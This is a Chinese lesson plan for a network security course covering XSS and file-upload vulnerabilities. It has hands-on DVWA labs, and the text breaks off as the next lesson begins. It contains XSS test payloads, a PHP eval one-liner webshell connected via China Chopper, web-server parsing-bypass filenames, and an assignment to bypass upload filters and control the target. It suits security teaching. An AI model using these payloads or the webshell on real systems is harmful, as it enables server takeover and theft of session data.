




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
《網(wǎng)絡(luò)安全技術(shù)實(shí)踐教程》教案授課單位:授課時(shí)間:授課班級(jí):授課教師:年月日教案15(第15號(hào)/17號(hào))課程名稱網(wǎng)絡(luò)安全授課日期、節(jié)次班級(jí)課堂類型理論+實(shí)踐地點(diǎn)章節(jié)(任務(wù))名稱任務(wù)7.1跨站腳本攻擊漏洞任務(wù)7.2文件上傳漏洞教學(xué)目標(biāo)知識(shí)目標(biāo)1.掌握XSS的含義及類型。2.掌握WEB文件上傳控制機(jī)制。能力目標(biāo)1.能夠識(shí)別Web應(yīng)用程序中可能導(dǎo)致XSS漏洞并構(gòu)造有效的攻擊載荷。2.能夠文件上傳漏洞進(jìn)行攻擊并獲取靶機(jī)的控制權(quán)。素質(zhì)目標(biāo)1.培養(yǎng)學(xué)生精益求精的工匠精神。2.培養(yǎng)學(xué)生樹(shù)立牢固的法治觀念,提升網(wǎng)絡(luò)安全意識(shí)。學(xué)情分析授課對(duì)象:計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,包括中職與普高混合班。學(xué)生特點(diǎn):計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,基礎(chǔ)知識(shí)存在差異,需針對(duì)性講解與實(shí)踐操作結(jié)合。學(xué)習(xí)習(xí)慣:偏愛(ài)實(shí)踐性強(qiáng)的課程,理論學(xué)習(xí)興趣較低。樂(lè)于通過(guò)案例和互動(dòng)式教學(xué)理解知識(shí)點(diǎn)。重難點(diǎn)分析教學(xué)重點(diǎn)反射型XSS漏洞的檢測(cè)、存儲(chǔ)型XSS漏洞的檢測(cè)、基于DOM的XSS漏洞檢測(cè)。利用中國(guó)菜刀連接Webshell。教學(xué)難點(diǎn)XSS漏洞的類型檢測(cè)黑名單及白名單過(guò)濾擴(kuò)展名機(jī)制與繞過(guò)。信息化應(yīng)用方法通過(guò)課件、視頻、案例分析、互動(dòng)提問(wèn)等多種信息化方式,借助學(xué)習(xí)通平臺(tái)發(fā)布學(xué)習(xí)資源和任務(wù),學(xué)生自主學(xué)習(xí)并完成任務(wù)。課程思政元素1.網(wǎng)絡(luò)安全。某國(guó)政務(wù)系統(tǒng)系統(tǒng)遭遇XSS攻擊,攻擊者篡改疫苗接種信息,引發(fā)社會(huì)恐慌。2.樹(shù)立服務(wù)意識(shí),塑造職業(yè)精神,使學(xué)生形成運(yùn)用所學(xué)專業(yè)知識(shí)為社會(huì)貢獻(xiàn)的責(zé)任感。3.鍛煉學(xué)生實(shí)事求是的工作態(tài)度,培養(yǎng)學(xué)生嚴(yán)謹(jǐn)細(xì)致的工作作風(fēng)、精益求精的工匠精神。教學(xué)實(shí)施過(guò)程課前:平臺(tái)發(fā)布Web攻防基礎(chǔ)任務(wù)1任務(wù)2學(xué)習(xí)任務(wù),學(xué)生預(yù)習(xí)。課中:導(dǎo)入新課工程師小林在對(duì)校園所用Web平臺(tái)進(jìn)行檢查時(shí),察覺(jué)到存在一個(gè)影響大量學(xué)生的跨站腳本漏洞。他隨即與校園網(wǎng)管理員取得聯(lián)系,對(duì)該問(wèn)題進(jìn)行了詳盡的溝通與確認(rèn)。在達(dá)成共識(shí)后,他們著手對(duì)平臺(tái)中嵌入的惡意代碼及植入廣告等安全隱患進(jìn)行了徹底清除,有效地阻斷了潛在的惡意程序運(yùn)行,從而顯著降低了整體安全風(fēng)險(xiǎn)。任務(wù)一知識(shí)點(diǎn)講解XSS漏洞XSS(Cross-SiteScripting,跨站腳本)是一種常見(jiàn)的網(wǎng)絡(luò)安全漏洞,它允許攻擊者在其他用戶的瀏覽器中注入惡意腳本代碼,從而在受害者的瀏覽器環(huán)境中執(zhí)行攻擊者設(shè)計(jì)的操作。XSS漏洞形成的原因主要是Web應(yīng)用程序沒(méi)有對(duì)用戶提供的數(shù)據(jù)進(jìn)行充分的驗(yàn)證、過(guò)濾或編碼,導(dǎo)致攻擊者可以通過(guò)網(wǎng)頁(yè)表單、URL參數(shù)、留言框等入口提交惡意腳本代碼。XSS攻擊的危害程度與攻擊者的JavaScript代碼編寫能力是直接相關(guān)的,即JavaScript的編寫能力越強(qiáng),XSS漏洞造成的危害越大,常見(jiàn)的危害如下。(1)截獲管理員Cookie信息,入侵者可以冒充管理員的身份登錄后臺(tái)。(2)竊取用戶的個(gè)人信息或者登錄賬號(hào),危害網(wǎng)站用戶的安全。(3)嵌入惡意代碼到Web應(yīng)用程序,當(dāng)用戶瀏覽該頁(yè)面時(shí),用戶的計(jì)算機(jī)會(huì)被植入木馬。(4)植入廣告,或者發(fā)送垃圾信息,嚴(yán)重影響到用戶的正常使用。XSS漏洞的分類XSS漏洞分為反射型XSS漏洞、存儲(chǔ)型XSS漏洞和基于DOM的XSS漏洞三類。(1)反射型XSS漏洞反射型XSS漏洞也稱非持久性XSS漏洞,是最容易出現(xiàn)的一種XSS漏洞。由于這種漏洞需要設(shè)計(jì)一個(gè)包含嵌入式JavaScript代碼的請(qǐng)求,隨后這些代碼又被反射到提出該請(qǐng)求的用戶,因此被稱為反射型XSS漏洞。在反射型XSS漏洞中,Web應(yīng)用程序把用戶輸入的內(nèi)容未經(jīng)過(guò)濾直接輸出給用戶。有沒(méi)有這樣一種情況,即Web應(yīng)用程序先把用戶輸入的內(nèi)容存入數(shù)據(jù)庫(kù),然后再?gòu)臄?shù)據(jù)庫(kù)中把這些內(nèi)容輸出給用戶?答案是肯定的,這就是存儲(chǔ)型XSS(StoredXSS)漏洞,其又被稱為持久性XSS漏洞,是最危險(xiǎn)的一種XSS漏洞。(2)存儲(chǔ)型XSS漏洞只要是允許用戶存儲(chǔ)數(shù)據(jù)的Web應(yīng)用程序,就可能會(huì)出現(xiàn)存儲(chǔ)型XSS漏洞。如果攻擊者提交的數(shù)據(jù)未經(jīng)過(guò)濾,當(dāng)攻擊者提交一段Javascript代碼后,服務(wù)器端接收并存儲(chǔ),當(dāng)有其他用戶訪問(wèn)這個(gè)頁(yè)面時(shí),這段Javascript代碼被程序讀出來(lái)響應(yīng)給瀏覽器,就會(huì)造成XSS攻擊,這就是存儲(chǔ)型XSS漏洞。存儲(chǔ)型XSS漏洞與反射型XSS漏洞相比,具有更高的隱蔽性,且只要用戶瀏覽存在存儲(chǔ)型XSS漏洞的頁(yè)面,就會(huì)造成危害。存儲(chǔ)型XSS漏洞的檢測(cè)方法與反射型XSS漏洞的檢測(cè)方法基本相似,但由于數(shù)據(jù)存儲(chǔ)在數(shù)據(jù)庫(kù),可能會(huì)被輸出至多個(gè)地方,因此需要反復(fù)檢查應(yīng)用程序的整個(gè)內(nèi)容與功能,確定輸入的字符串在瀏覽器中顯示的各個(gè)地方及相應(yīng)的保護(hù)性過(guò)濾措施。(2)基于DOM的XSS漏洞反射型XSS漏洞和存儲(chǔ)型XSS漏洞都與服務(wù)器交互,此外還存在一種基于DOM的跨站漏洞,其不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。DOM的全稱為DocumentObjectModel,即文檔對(duì)象模型,是W3C制定的標(biāo)準(zhǔn)接口規(guī)范,是一種處理HTML和XML文件的標(biāo)準(zhǔn)API。DOM提供了對(duì)整個(gè)文檔的訪問(wèn)模型,將文檔作為一個(gè)樹(shù)形結(jié)構(gòu),樹(shù)的每個(gè)節(jié)點(diǎn)表示了一個(gè)HTML標(biāo)簽或標(biāo)簽內(nèi)的文本項(xiàng)。DOM網(wǎng)結(jié)構(gòu)精確地描述了HTML文檔中標(biāo)簽間的相互關(guān)聯(lián)性。對(duì)HTML文檔的處理可以通過(guò)對(duì)DOM樹(shù)的操作實(shí)現(xiàn),利用DOM對(duì)象的方法和屬性,可以方便地訪問(wèn)、修改、添加和刪除DOM樹(shù)的節(jié)點(diǎn)和內(nèi)容。JavaScript可以訪問(wèn)DOM,如果應(yīng)用程序發(fā)布的一段腳本可以從URL中提取數(shù)據(jù),對(duì)這些數(shù)據(jù)進(jìn)行處理,然后再用它動(dòng)態(tài)更新頁(yè)面的內(nèi)容,應(yīng)用程序就可能存在基于DOM的XSS漏洞。也就是說(shuō),客戶端JavaScript去調(diào)用document對(duì)象的時(shí)候可能會(huì)出現(xiàn)基于DOM的XSS漏洞?;贒OM的XSS漏洞的檢測(cè)方法可以采用與反射型XSS漏洞檢測(cè)一樣的方法,即輸入特字符串:x's"><script>alert(/xss/)</script>,觀察瀏覽器響應(yīng)。但更加有效的方法是檢查所客戶端的JavaScript代碼,看其中是否調(diào)用了document對(duì)象,其是否調(diào)用了可能導(dǎo)致XSS漏洞的方法,是否采取了相應(yīng)的過(guò)濾措施及過(guò)濾措施是否存在缺陷。XSS漏洞的防范防范XSS漏洞需要采取一系列綜合性的措施,確保應(yīng)用程序能夠抵御不同類型的XSS攻擊。以下是一些關(guān)鍵的防范策略。(1)輸入驗(yàn)證與過(guò)濾。對(duì)所有用戶輸入的數(shù)據(jù)進(jìn)行嚴(yán)格的格式和內(nèi)容驗(yàn)證,確保它們符合預(yù)期的規(guī)則。例如,如果期望輸入是電子郵件地址,就應(yīng)使用正則表達(dá)式驗(yàn)證是否符合電子郵件格式。過(guò)濾或拒絕包含潛在危險(xiǎn)字符(如尖括號(hào)<>、引號(hào)'"等)的輸入,或?qū)@些字符進(jìn)行轉(zhuǎn)義處理。(2)輸出編碼。在數(shù)據(jù)輸出到網(wǎng)頁(yè)之前,根據(jù)上下文(HTML、JavaScript、CSS等)進(jìn)行恰當(dāng)?shù)木幋a。例如,在HTML內(nèi)容中使用htmlspecialchars()函數(shù)來(lái)轉(zhuǎn)義特殊字符。(3)HTTP-onlyCookie。設(shè)置Cookie為HTTP-only,可以阻止JavaScript訪問(wèn)這些Cookie,減少XSS攻擊中盜取Cookie的風(fēng)險(xiǎn)。(4)內(nèi)容安全策略(CSP)。配置CSP頭,限制瀏覽器只能加載指定來(lái)源的資源,有效減少惡意腳本的執(zhí)行。(5)使用安全函數(shù)和庫(kù)。應(yīng)用程序開(kāi)發(fā)中,應(yīng)使用已經(jīng)過(guò)安全審查的函數(shù)和庫(kù)來(lái)處理和輸出數(shù)據(jù)。(6)最小權(quán)限原則。限制網(wǎng)頁(yè)內(nèi)容和腳本的執(zhí)行權(quán)限,避免不必要的JavaScript功能在不安全的上下文中執(zhí)行。任務(wù)一實(shí)施步驟1.反射型XSS漏洞檢測(cè)與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項(xiàng),并提交。然后選擇“XSS(Reflected)”,在對(duì)話框中輸入正常的姓名,如li,則出現(xiàn)“Helloli”,如圖7-1所示。圖7-1DWVA反射型XSS漏洞界面(2)檢測(cè)XSS漏洞在對(duì)話框中輸入“x’s”><script>alert(/xss/)</script>”,單擊“Submit”按鈕之后,將彈出警告提示框,如圖7-2所示。圖7-2DVWA反射型跨站腳本漏洞利用結(jié)果1單擊“確定”按鈕之后,出現(xiàn)hellox’s”>,如圖7-3所示。說(shuō)明<script>alert(/xss/)</script>被當(dāng)做JavaScript代碼執(zhí)行,而不是名字的一部分,充分驗(yàn)證了該頁(yè)面存在XSS漏洞。圖7-3DVWA反射型XSS漏洞利用結(jié)果2(3)查看源代碼按“Ctrl+U”組合鍵可打開(kāi)源代碼所在頁(yè)面。查看源代碼,會(huì)看到如圖7-4所示代碼,進(jìn)一步驗(yàn)證了存在XSS漏洞。圖7-4DVWA反射型XSS漏洞查看源代碼(4)獲取Cookie在對(duì)話框中輸入“<script>alert(document.cookie)</script>”,單擊“Submit”按鈕,將會(huì)出現(xiàn)如圖7-5所示警告提示框,其中顯示了security和PHPSESSID兩個(gè)Cookie的值。在這個(gè)輸入中document.cookie的作用是讀取Cookie。圖7-5利用反射型XSS漏洞讀取Cookie結(jié)果2.存儲(chǔ)型XSS漏洞檢測(cè)與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項(xiàng),并提交。然后選擇“XSS(Stored)”,如圖7-6所示。在Name、Message提示框中輸入信息之后,將被保存在數(shù)據(jù)庫(kù)中,并在紅色框標(biāo)注區(qū)中顯示出來(lái),每次輸入的信息都會(huì)顯示出來(lái),類似留言板。圖7-6DWVA存儲(chǔ)型XSS漏洞界面(2)檢測(cè)XSS漏洞在Name提示框中輸入“x’s”><script>alert(/xss/)</script>”,但提示框中僅顯示“x’s”><scri”,說(shuō)明Name提示框可能做了10個(gè)字符的長(zhǎng)度限制;再將其輸入Message提示框,再單擊“Submit”按鈕之后,則彈出警告提示框,如圖7-7所示。圖7-7DVWA存儲(chǔ)型XSS漏洞利用結(jié)果說(shuō)明存在XSS漏洞,Message顯示為x’s”>,也說(shuō)明其后的<script>alert(/xss/)</script>被當(dāng)做JavaScript代碼執(zhí)行。單擊“確定”按鈕之后,警告提示框消失。(3)查看源代碼按“Ctrl+U”組合鍵可打開(kāi)源代碼所在頁(yè)面。查看源代碼,會(huì)看到如圖7-8所示代碼,進(jìn)一步驗(yàn)證了存在XSS漏洞。圖7-8DVWA存儲(chǔ)型XSS漏洞查看源代碼(4)獲取Cookie在Message提示框中輸入“<script>alert(document.cookie)</script>”,單擊“SignGuestbook”按鈕,將會(huì)出現(xiàn)如圖7-9所示警告提示框,其中顯示了security和PHPSESSID兩個(gè)Cookie的值。圖7-9利用存儲(chǔ)型XSS漏洞讀取Cookie結(jié)果(5)查看存儲(chǔ)型XSS的時(shí)效切換到其他頁(yè)面之后,再切換回來(lái),又依次彈出兩個(gè)警告提示框,說(shuō)明<script>alert(/xss/)</script>、<script>alert(document.cookie)</script>已被存入數(shù)據(jù)庫(kù)中,再瀏覽該網(wǎng)頁(yè)時(shí)又被讀取出來(lái)執(zhí)行。從分析可以看出:存儲(chǔ)型XSS攻擊會(huì)影響瀏覽該網(wǎng)頁(yè)的所有用戶,而反射型XSS攻擊僅影響到執(zhí)行跨站的該用戶,因此存儲(chǔ)型XSS漏洞造成的危害要比反射型XSS漏洞大。3.基于DOM的XSS漏洞檢測(cè)與利用(1)登錄DVWA系統(tǒng)在DVWASecurity當(dāng)中選擇“l(fā)ow”選項(xiàng),并提交。然后選擇“XSS(DOM)”,如圖7-10所示。圖7-10基于DOM的XSS漏洞界面選擇“Select”,提交選擇的數(shù)據(jù)。(2)更改URL中default的值在URL中的default的值更改為“<script>alert(/DOMXSS/)</script>”,提交payload,觸發(fā)XSS漏洞,彈出警告提示框,如圖7-11所示。圖7-11觸發(fā)給予DOM的XSS漏洞(3)查看源代碼按“Ctrl+U”組合鍵可打開(kāi)源代碼所在頁(yè)面。查看源代碼,使用快捷鍵“Ctrl+F”,并在代碼中搜索“alert”,發(fā)現(xiàn)提交的payload未寫入頁(yè)面的代碼中,如圖7-12所示。圖7-12基于DOM的XSS漏洞頁(yè)面源碼
(4)查看給予DOM的XSS的時(shí)效切換到其他頁(yè)面之后,再切換回來(lái),頁(yè)面無(wú)任何反應(yīng),說(shuō)明基于DOM的XSS是非持久性的。任務(wù)二知識(shí)點(diǎn)講解1.文件上傳漏洞與Webshell文件上傳是Web應(yīng)用程序通常會(huì)有的功能,如分享照片或視頻、在網(wǎng)上發(fā)布簡(jiǎn)歷、在論壇發(fā)帖時(shí)附帶文件和郵件附件等。實(shí)際上,只要Web應(yīng)用程序允許上傳文件,就有可能存在文件上傳漏洞。文件上傳漏洞是指由于Web容器解析漏洞或程序員未對(duì)上傳的文件進(jìn)行嚴(yán)格的驗(yàn)證和過(guò)濾,而導(dǎo)致用戶向服務(wù)器上傳可執(zhí)行的腳本文件,并通過(guò)此腳本文件獲得了執(zhí)行服務(wù)器端命令的權(quán)限。上傳漏洞與SQL注入漏洞或XSS漏洞相比,風(fēng)險(xiǎn)更大。其安全問(wèn)題主要如下。(1)上傳的文件是Webshell,其可以直接控制服務(wù)器。Webshell就是以asp、php、jsp或cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,也稱為網(wǎng)頁(yè)后門。Webshell與網(wǎng)站服務(wù)器Web目錄下正常的網(wǎng)頁(yè)文件混在一起,然后使用瀏覽器來(lái)訪問(wèn)這些后門,以達(dá)到控制服務(wù)器的目的。Webshell隱蔽性較高,訪問(wèn)Webshell時(shí)不會(huì)留下系統(tǒng)日志,不容易發(fā)現(xiàn)入侵痕跡。(2)上傳文件是病毒、木馬文件,那么攻擊者可以誘騙瀏覽文件的用戶下載執(zhí)行。(3)上傳文件是釣魚(yú)圖片,或者包含了腳本文件的圖片,在某些版本的瀏覽器中可以用來(lái)做釣魚(yú)攻擊。2.Web容器解析漏洞Web容器是一種服務(wù)程序,這個(gè)程序用于解析客戶端發(fā)出的請(qǐng)求,并對(duì)請(qǐng)求進(jìn)行響應(yīng),Apache、Nginx、IIS等都是常見(jiàn)的Web容器。在解析客戶端請(qǐng)求時(shí),不同的Web容器采用的不同機(jī)制,會(huì)引起一些解析漏洞。攻擊者在利用文件上傳漏洞時(shí),經(jīng)常會(huì)與Web容器的解析漏洞配合使用,因此我們應(yīng)該了解Web容器解析漏洞,才能更好地就文件上傳漏洞進(jìn)行防范。(1)Apache解析漏洞Apache解析漏洞主要源于其對(duì)文件后綴的處理方式。特別是“多后綴解析”的特性,允許一個(gè)文件擁有多個(gè)后綴,并為不同后綴執(zhí)行不同的指令。這種機(jī)制可能被攻擊者利用來(lái)繞過(guò)文件上傳的安全限制。例如,當(dāng)Web應(yīng)用限制了.php等敏感后綴時(shí),攻擊者可以嘗試上傳一個(gè)名為test.php.jpg的文件。由于Apache會(huì)從右向左嘗試解析后綴,當(dāng)遇到無(wú)法解析的.jpg時(shí),它會(huì)繼續(xù)嘗試解析.php。如果服務(wù)器配置允許,這個(gè)文件就會(huì)按照PHP腳本進(jìn)行解析和執(zhí)行。至于Apache能認(rèn)識(shí)哪些擴(kuò)展名,Apache安裝目錄下的/conf/mime.types文件中有詳細(xì)的說(shuō)明。(2)Nginx解析漏洞Nginx是一款高性能的Web容器,通常用來(lái)作為PHP的解析器,但其曾經(jīng)被曝出過(guò)存在解析漏洞。假設(shè)測(cè)試環(huán)境為Nginx1.14.0、php7.2.10,在網(wǎng)站根目錄下創(chuàng)建文件夾test,在test下創(chuàng)建文件phpinfo.pg,以訪問(wèn)http://服務(wù)器地址/test/phpinfo.jpg/1.php這個(gè)URL為例。服務(wù)器并不會(huì)回饋目錄或者文件不存在,而是請(qǐng)求拒絕,原因是在Nginx中,服務(wù)器對(duì)親求的內(nèi)容是從右向左的,當(dāng)發(fā)現(xiàn)并沒(méi)有1.php這個(gè)文件時(shí),phpinfo.jpg就會(huì)被當(dāng)作PHP文本來(lái)解析。這就意味著攻擊者可以上傳合法的圖片木馬,然后在URL后面加上"/1.php",就可以訪問(wèn)木馬文件。該解析漏洞的發(fā)生是有條件的但與版本無(wú)關(guān),在php配置文件php.ini中,有一個(gè)選項(xiàng)cgi.fix_pathinfo,它的值一般為1,作用是為了當(dāng)文件不存在時(shí),阻止Nginx將請(qǐng)求發(fā)送到后端的PHP-FPM模塊,例如這里的1.php文件并不存在,這時(shí)就會(huì)將phpinfo.jpg當(dāng)作php文件來(lái)解析,從而導(dǎo)致惡意腳本注入的攻擊,即解析漏洞。(3)IIS解析漏洞①目錄解析漏洞:使用IIS6.0的服務(wù)器,在服務(wù)器上創(chuàng)建以.asa或.asp結(jié)尾的文件夾時(shí),IIS會(huì)錯(cuò)誤地將該目錄下的所有文件都當(dāng)作ASP文件來(lái)解析和執(zhí)行。這意味著,如果攻擊者能夠上傳一個(gè)文件到這樣的目錄中,比如將一個(gè)圖片文件重命名為xx.jpg并上傳到一個(gè)名為xx.asp的目錄中,然后通過(guò)URL訪問(wèn)http://服務(wù)器地址/xx.asp/xx.jpg,IIS6.0會(huì)嘗試將xx.jpg作為ASP文件來(lái)執(zhí)行,這可能導(dǎo)致任意代碼執(zhí)行等安全問(wèn)題。②文件名解析漏洞:IIS6.0在解析文件名時(shí),如果文件名包含分號(hào)(;),服務(wù)器默認(rèn)會(huì)忽略分號(hào)后面的內(nèi)容。因此,如果攻擊者上傳一個(gè)文件名為xx.asp;1.jpg的文件,IIS6.0會(huì)將其解析為xx.asp,而忽略后面的;1.jpg。這意味著,攻擊者可以利用這個(gè)漏洞來(lái)繞過(guò)某些基于文件擴(kuò)展名的安全措施,如上傳惡意ASP腳本。3.文件上傳漏洞防范文件上傳漏洞是Web應(yīng)用中常見(jiàn)的安全風(fēng)險(xiǎn),攻擊者可以借此上傳惡意文件,如腳本、WebShell等,進(jìn)而控制或損害服務(wù)器系統(tǒng)。為了有效防范文件上傳漏洞,可采取以下措施。(1)文件類型檢查。嚴(yán)格驗(yàn)證上傳文件的MIME類型和擴(kuò)展名,僅允許預(yù)定義的安全文件類型,如圖片(jpg,png)、文檔(pdf,docx)等。使用服務(wù)器端驗(yàn)證,避免僅依賴客戶端驗(yàn)證,因?yàn)榭蛻舳蓑?yàn)證容易被繞過(guò)。(2)文件大小限制。設(shè)定上傳文件的最大尺寸,避免大文件消耗服務(wù)器資源或作為DoS攻擊手段。(3)文件名檢查與重命名。對(duì)上傳文件的名稱進(jìn)行檢查,移除或替換特殊字符,避免路徑遍歷攻擊。最好自動(dòng)重命名上傳文件,使用隨機(jī)生成的文件名,以增加攻擊難度。(4)文件內(nèi)容檢查。對(duì)上傳文件的內(nèi)容進(jìn)行深度掃描,使用文件類型驗(yàn)證工具或病毒掃描軟件,確保文件不含惡意代碼。(5)存儲(chǔ)路徑隔離。將用戶上傳的文件存儲(chǔ)在Web根目錄之外,避免直接通過(guò)URL訪問(wèn)??梢詣?chuàng)建一個(gè)單獨(dú)的、無(wú)執(zhí)行權(quán)限的目錄存放上傳文件。任務(wù)二任務(wù)實(shí)施步驟1.利用中國(guó)菜刀連接Webshell(1)編寫一句話木馬在桌面上新建文本文件ceshi.php,用記事本等文本編輯工具,將其內(nèi)容修改為<?php@eval($_POST[‘pass’];);?>,存盤退出,即編寫完成一句話木馬。(2)登錄DVWA系統(tǒng),選擇文件上傳頁(yè)面在DVWASecurity當(dāng)中選擇“l(fā)ow”選項(xiàng),并提交。然后選擇“FileUpload”,出現(xiàn)如圖7-13所示。圖7-13DWVA文件上傳漏洞界面(3)上傳木馬文件在如圖7-14所示的界面中,單擊“選擇文件”按鈕,選擇新建的ceshi.php文件,單擊“Upload”按鈕,就完成了上傳。同時(shí),系統(tǒng)提示:“../../hackable/uploads/ceshi.phpsuccesfullyuploaded!”這意味著文件上傳到了應(yīng)用程序中的hackable/uploads目錄下。圖7-14DVWA文件上傳結(jié)果(4)通過(guò)中國(guó)菜刀連接ceshi.php文件打開(kāi)菜刀應(yīng)用程序,在界面的空白處單擊鼠標(biāo)右鍵,在菜單中選擇“添加”命令,出現(xiàn)如圖7-15所示“添加SHELL”界面。圖7-15中國(guó)菜刀連接一句話木馬界面在地址欄填寫詳細(xì)的連接地址,保證能夠訪問(wèn)到ceshi.php;在其右側(cè)欄中填寫連接密碼,實(shí)質(zhì)就是木馬$_POST數(shù)組的下標(biāo)。選擇腳本語(yǔ)言及編碼方式之后,單擊右下角的“添加”按鈕,就出現(xiàn)如圖7-16所示界面。圖7-16中國(guó)菜刀連接一句話木馬連接雙擊該界面下的鏈接,就會(huì)連接到一句話木馬ceshi.php,出現(xiàn)如圖7-17所示界面。圖7-17中國(guó)菜刀連接一句話木馬結(jié)果此時(shí),就如本地資源管理器一樣可以管理服務(wù)器端的文件了。2.黑名單及白名單過(guò)濾擴(kuò)展名機(jī)制與繞過(guò)(1)編寫文件上傳的Web前端代碼。在www目錄下建立文件夾ceshi,并在文件夾中建立index.html文件,然后用記事本等工具進(jìn)行編輯,編寫如下代碼。該前端頁(yè)面表單中具有文件上傳的功能。<html><html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>文件上傳</title></head><body><formaction="upload.php"method="post"enctype="multipart/form-data"><inputtype="file"name="file"id="file"/><inputtype="submit"value="提交"name="submit"/></form></body></html>(2)編寫后端接收文件代碼。在ceshi文件夾下建立upload.php文件,然后用記事本等工具進(jìn)行編輯,編寫如下代碼。<html><html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>文件上傳</title></head><body><?php$blacklist=array("php","php5","jsp","asp","asa","aspx");//黑名單if(isset($_POST['submit'])){//將字符串編碼由utf8轉(zhuǎn)到gb2312,解決中文文件不能上傳問(wèn)題$name=iconv('utf-8','gb2312',$_FILES['file']['name']);$extension=substr(strrchr($name,"."),1);//得到擴(kuò)展名$flag=true;//迭代判斷擴(kuò)展名是否在黑名單中foreach($blacklistas$key=>$value){if($value==$extension){ $flag=false; break; } }if($flag){ $size=$_FILES['file']['size'];//接受文件大小 $tmp=$_FILES['file']['tmp_name'];//臨時(shí)路徑 //指定上傳文件到uploadfile目錄 move_uploaded_file($tmp,"./uploadfile/".$name); echo"文件上傳成功!";}else{ echo"<script>alert('上傳文件不符合規(guī)定,上傳失?。?)</script>";} }?></body></html>upload.php用于接收文件,然后將文件放在uploadfile文件夾中。(3)測(cè)試程序運(yùn)行情況。在瀏覽器中輸入“/ceshi/index.html”,將出現(xiàn)文件上傳對(duì)話框,如圖7-18所示。當(dāng)上傳文件擴(kuò)展名在黑名單中,將出現(xiàn)“上傳文件不合法”的提示,不能上傳,如圖7-19所示。圖7-18文件上傳對(duì)話框圖7-19上傳文件不合法提示頁(yè)(4)繞過(guò)服務(wù)器端白名單監(jiān)測(cè)機(jī)制新建upload2.php文件,然后用記事本等工具進(jìn)行編輯,編寫如下內(nèi)容。<html><html><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><title>無(wú)標(biāo)題文檔</title></head><body><?php$whilelist=array("jpg","jpeg","png","asp","bmp","gif");//白名單if(isset($_POST['submit'])){ //將字符串編碼由utf8轉(zhuǎn)到gb2312,解決中文文件不能上傳問(wèn)題 $name=iconv('utf-8','gb2312',$_FILES['file']['name']); $extension=substr(strrchr($name,"."),1);//得到擴(kuò)展名 $flag=false; //迭代判斷擴(kuò)展名是否在黑名單中 foreach($whilelistas$key=>$value){ if($value==$extension){ $flag=true; break; } } if($flag){ $size=$_FILES['file']['size'];//接受文件大小 $tmp=$_FILES['file']['tmp_name'];//臨時(shí)路徑 //指定上傳文件到uploadfile目錄 move_uploaded_file($tmp,"./uploadfile/".$name); echo"文件上傳成功!";} else{ echo"<script>alert('上傳文件不符合規(guī)定,上傳失?。?)</script>";} }?></body></html>Upload2.php僅允許上傳后綴為jpg、jpeg、png、asp、bmp、gif圖片格式的文件。課后:1.任務(wù)鞏固2.教師答疑3.布置預(yù)習(xí)任務(wù)作業(yè)布置自行搭建DVWA站點(diǎn),選擇存儲(chǔ)型XSS,將難度調(diào)整為medium,在留言板網(wǎng)頁(yè)留言內(nèi)容中輸入<script>alert(/hack/)</script>,請(qǐng)觀察現(xiàn)象并打開(kāi)審計(jì)代碼思考原因。通過(guò)Burpsuite抓包改name參數(shù)為:<script>alert(/hack/)</script>,查看執(zhí)行結(jié)果。2.Medium級(jí)別的代碼對(duì)上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小有限制。如果我們直接上傳代碼,會(huì)提示如下Yourimagewasnotuploaded.WecanonlyacceptJPEGorPNGimages。請(qǐng)嘗試使用burp進(jìn)行修改文件類型,上傳攻擊文件并最終控制靶機(jī)。教學(xué)反思通過(guò)本節(jié)內(nèi)容講解,學(xué)生學(xué)習(xí)興趣很高,在XSS變異攻擊理解不足,實(shí)戰(zhàn)經(jīng)驗(yàn)欠缺需要進(jìn)一步加強(qiáng),以提升理解的深度和實(shí)戰(zhàn)應(yīng)用能力?!毒W(wǎng)絡(luò)安全技術(shù)實(shí)踐教程》教案授課單位:授課時(shí)間:授課班級(jí):授課教師:年月日教案16(第16號(hào)/17號(hào))課程名稱網(wǎng)絡(luò)安全授課日期、節(jié)次班級(jí)課堂類型理論+實(shí)踐地點(diǎn)章節(jié)(任務(wù))名稱任務(wù)7.3命令執(zhí)行漏洞任務(wù)7.4文件包含漏洞教學(xué)目標(biāo)知識(shí)目標(biāo)1.掌握并分析命令執(zhí)行模型。2.掌握文件包含漏洞的內(nèi)涵及方法。能力目標(biāo)1.能夠利用命令行注入漏洞的運(yùn)行各類系統(tǒng)命令。2.能夠利用文件包含漏洞對(duì)靶機(jī)進(jìn)行任意文件讀取甚至腳本執(zhí)行。素質(zhì)目標(biāo)1.培養(yǎng)學(xué)生精益求精的工匠精神。2.培養(yǎng)學(xué)生樹(shù)立牢固的法治觀念,提升網(wǎng)絡(luò)安全意識(shí)。學(xué)情分析授課對(duì)象:計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,包括中職與普高混合班。學(xué)生特點(diǎn):計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,基礎(chǔ)知識(shí)存在差異,需針對(duì)性講解與實(shí)踐操作結(jié)合。學(xué)習(xí)習(xí)慣:偏愛(ài)實(shí)踐性強(qiáng)的課程,理論學(xué)習(xí)興趣較低。樂(lè)于通過(guò)案例和互動(dòng)式教學(xué)理解知識(shí)點(diǎn)。重難點(diǎn)分析教學(xué)重點(diǎn)1.命令執(zhí)行漏洞滲透測(cè)試與繞過(guò)。2.文件包含漏洞的利用與防范教學(xué)難點(diǎn)1.命令執(zhí)行漏洞的防范。2.文件包含漏洞的防范。信息化應(yīng)用方法通過(guò)課件、視頻、案例分析、互動(dòng)提問(wèn)等多種信息化方式,借助學(xué)習(xí)通平臺(tái)發(fā)布學(xué)習(xí)資源和任務(wù),學(xué)生自主學(xué)習(xí)并完成任務(wù)。課程思政元素1.國(guó)家安全。某企業(yè